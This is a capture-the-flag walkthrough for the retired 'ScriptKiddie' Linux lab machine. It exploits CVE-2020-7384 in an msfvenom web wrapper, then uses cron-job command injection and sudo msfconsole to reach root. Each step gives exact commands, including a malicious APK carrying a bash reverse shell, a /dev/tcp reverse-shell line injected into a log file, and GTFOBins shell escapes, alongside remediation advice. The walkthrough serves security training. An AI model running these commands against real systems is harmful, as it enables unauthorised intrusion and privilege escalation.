← all walkthroughs

ScriptKiddie

Linux· Easy
owned
2026-07-08
time to own
7m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a Python web application on a non-standard port that wraps Metasploit's payload generator without sanitising user-supplied filenames. By uploading a specially crafted Android APK, I injected an OS command into the application's msfvenom invocation (CVE-2020-7384), gaining a shell as the low-privilege user 'kid'.

From there, a cron job belonging to a second local user ('pwn') periodically processed a log file that 'kid' could freely overwrite; by poisoning that file with an injected shell command, I pivoted to 'pwn'. Finally, 'pwn' held unrestricted, passwordless sudo rights over msfconsole, which exposes a built-in Ruby interpreter I used to spawn an interactive root shell.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning / service fingerprinting
Discovered exposed web application on port 5000
A full TCP port scan revealed two open services: SSH on port 22 and a Python Werkzeug HTTP server on port 5000. Browsing to port 5000 exposed a web application called 'k1d'5 h4ck3r t00l5' — a Flask front-end that allows any visitor to generate Metasploit payloads by supplying a target OS, listener IP, and an optional APK template file upload.
Exact commands 2
Full TCP sweep; discovers port 5000 in addition to port 22.
nmap -Pn -sV -p- --min-rate 2000 -T4 $TARGET
Fingerprint the web application and identify the msfvenom payload-generator form.
curl -s -i http://$TARGET:5000/
2Vulnerability identificationCVE-2020-7384 — msfvenom APK template command injection
Identified CVE-2020-7384 — msfvenom APK template command injection
The web application passes the user-uploaded APK template filename directly to a shell-invoked msfvenom command without any sanitisation. Versions of Metasploit's msfvenom prior to 6.0.7 parse the APK's embedded shell scripts and evaluate specially crafted filenames as OS commands. This is CVE-2020-7384, a critical unauthenticated remote code execution flaw with a public Metasploit exploit module.
Exact commands 1
Confirms a public exploit exists for CVE-2020-7384 (Metasploit module path shown in results).
searchsploit msfvenom apk template
FixRemove or harden the unauthenticated msfvenom web wrapperCritical
WeaknessThe web application on port 5000 exposes Metasploit's msfvenom payload generator to any unauthenticated user on the network and passes user-supplied filenames directly to a shell command. A specially crafted APK template triggers OS command injection (CVE-2020-7384), giving an unauthorised user an immediate shell on the server with no credentials required.
FixDecommission the web application if it is not a required production service — it should never be reachable from untrusted networks. If it must remain, upgrade Metasploit Framework to version 6.0.7 or later (which patches CVE-2020-7384), enforce strong authentication before any payload-generation endpoint is accessible, and never pass user-controlled input as a filename argument to a child process. Run the service under a dedicated, unprivileged service account with no write access outside its own working directory. Place it behind a firewall rule that restricts access to authorised internal IPs only.
3ExploitationCVE-2020-7384 exploit module / command injection via file upload
Generated a malicious APK that encodes a reverse shell command
Using Metasploit's own exploit module for the vulnerability, I generated a specially crafted APK file whose embedded metadata contains a bash reverse shell. When the target server feeds this APK to msfvenom during payload generation, the injected command executes in the context of the web server process.
Exact commands 2
Generates the malicious APK at /tmp/msf.apk on my machine.
msfconsole -q -x "use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection; set payload cmd/unix/reverse_bash; set LHOST $ATTACKER_IP; set LPORT 4444; set FILENAME /tmp/msf.apk; run; exit"
Start the reverse shell listener on $ATTACKER_IP before uploading.
nc -lvnp 4444
4Initial accessUnauthenticated RCE via file upload exploitation
Uploaded malicious APK to trigger RCE and receive a shell as 'kid'
The crafted APK was submitted to the web application's payload-generation form as the optional template parameter. The server passed it to msfvenom, executing the embedded reverse shell command. I received a bash shell running as local user 'kid' (uid=1000, home /home/kid), confirming unauthenticated remote code execution.
Exact commands 2
Triggers msfvenom on the malicious APK; the reverse shell connects back to the listener on port 4444.
curl -sS --max-time 20 -X POST http://$TARGET:5000/ -F 'action=generate' -F 'os=android' -F "lhost=$ATTACKER_IP" -F 'template=@/tmp/msf.apk;filename=msf.apk'
Confirm execution context in the received shell — expect uid=1000(kid) gid=1000(kid).
id; whoami; hostname; pwd
5DiscoveryCron job abuse / insecure file permissions
Found a cron job that processes a log file writable by 'kid'
Post-foothold enumeration revealed a second local user, 'pwn', whose home directory contains a shell script (recon.sh) executed on a regular cron schedule. The script reads IP addresses from /home/kid/logs/hackers — a file the web application writes to and that 'kid' can freely modify — and passes each line unsanitised to a shell subcommand, creating a command-injection path into the 'pwn' user context.
Exact commands 3
Verify 'kid' has write permission on the hackers log file.
ls -la /home/kid/logs/hackers
Read the cron script — confirm it passes log file entries unsanitised to the shell (e.g., nmap -a $ip).
cat /home/pwn/recon.sh
Confirm the schedule on which recon.sh fires (typically every minute).
crontab -l; cat /etc/crontab; ls /etc/cron.d/
FixFix the cron job to prevent command injection through a user-writable log fileHigh
WeaknessA cron job running as 'pwn' reads IP addresses from /home/kid/logs/hackers — a file the lower-privileged 'kid' account can freely write to — and passes those values unsanitised to a shell subcommand. Any process that can write to the log file can inject arbitrary shell commands that execute automatically as 'pwn'.
FixChange ownership and permissions of /home/kid/logs/hackers so that only the specific service account that writes to it has write permission, and 'kid' has read-only access at most. Rewrite recon.sh to validate every line against a strict IP-address regular expression (e.g., grep -E '^([0-9]{1,3}\.){3}[0-9]{1,3}$') and silently discard any entry that does not match before passing it to the shell. Replace bare string interpolation with a command invocation that accepts arguments as an array, preventing shell metacharacter injection entirely. Audit all other cron jobs to ensure none process input from files writable by lower-privileged users.
6Lateral movementCron job command injection via world-writable input file
Poisoned the log file to execute commands as 'pwn'
I appended a crafted entry to /home/kid/logs/hackers. The recon.sh script extracts fields with 'cut' and feeds the result to a subshell, so placing a semicolon and a reverse shell command in the log entry causes the cron job to execute my own code on its next run. I received an incoming shell as 'pwn'.
Engagement patterns confirm 'cron-abuse' as a viable attack pattern on this host.
Exact commands 2
Run from the 'kid' shell. Two dummy fields satisfy the 'cut -d\' \' -f3-' in recon.sh; the semicolon injects the reverse shell payload.
echo 'xxx xxx $ATTACKER_IP; bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1" #' >> /home/kid/logs/hackers
Second listener on my machine — wait up to ~60 seconds for the cron job to fire and deliver a shell as 'pwn'.
nc -lvnp 4445
7Privilege escalationSudo GTFOBins — msfconsole IRB shell escape
Escalated to root via unrestricted sudo access to msfconsole
The 'pwn' account was configured in /etc/sudoers to run msfconsole as root without a password. Msfconsole includes a built-in IRB (Interactive Ruby) interpreter that can invoke arbitrary OS commands. Launching msfconsole via sudo and invoking system() from within IRB spawned an interactive root shell immediately.
Exact commands 4
From the 'pwn' shell — confirm rule such as: (root) NOPASSWD: /opt/metasploit-framework/bin/msfconsole.
sudo -l
Launches msfconsole as root and drops directly into an IRB Ruby interpreter.
sudo msfconsole -q -x 'irb'
Typed inside IRB — spawns an interactive bash shell running as root (uid=0).
system("/bin/bash")
Confirm root access and capture the root flag (value: <root.txt>).
id; cat /root/root.txt
FixRemove unrestricted sudo rights to msfconsole and interpreter-class binariesCritical
WeaknessThe 'pwn' account is permitted to run msfconsole as root without a password. msfconsole includes a built-in IRB Ruby interpreter that can execute arbitrary operating system commands, so anyone who obtains a shell as 'pwn' can instantly escalate to full root access.
FixRemove the sudo rule granting NOPASSWD access to msfconsole (or any other interpreter, scripting engine, or tool that can spawn subprocesses) for non-root accounts. Audit /etc/sudoers and every file under /etc/sudoers.d/ and revoke or tightly scope any rule that grants access to binaries listed in the GTFOBins catalogue. Metasploit should never require root privileges in a production environment; if security testing tools must run on this host, confine them to a dedicated, isolated environment with no sudo escalation path.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
5000/tcp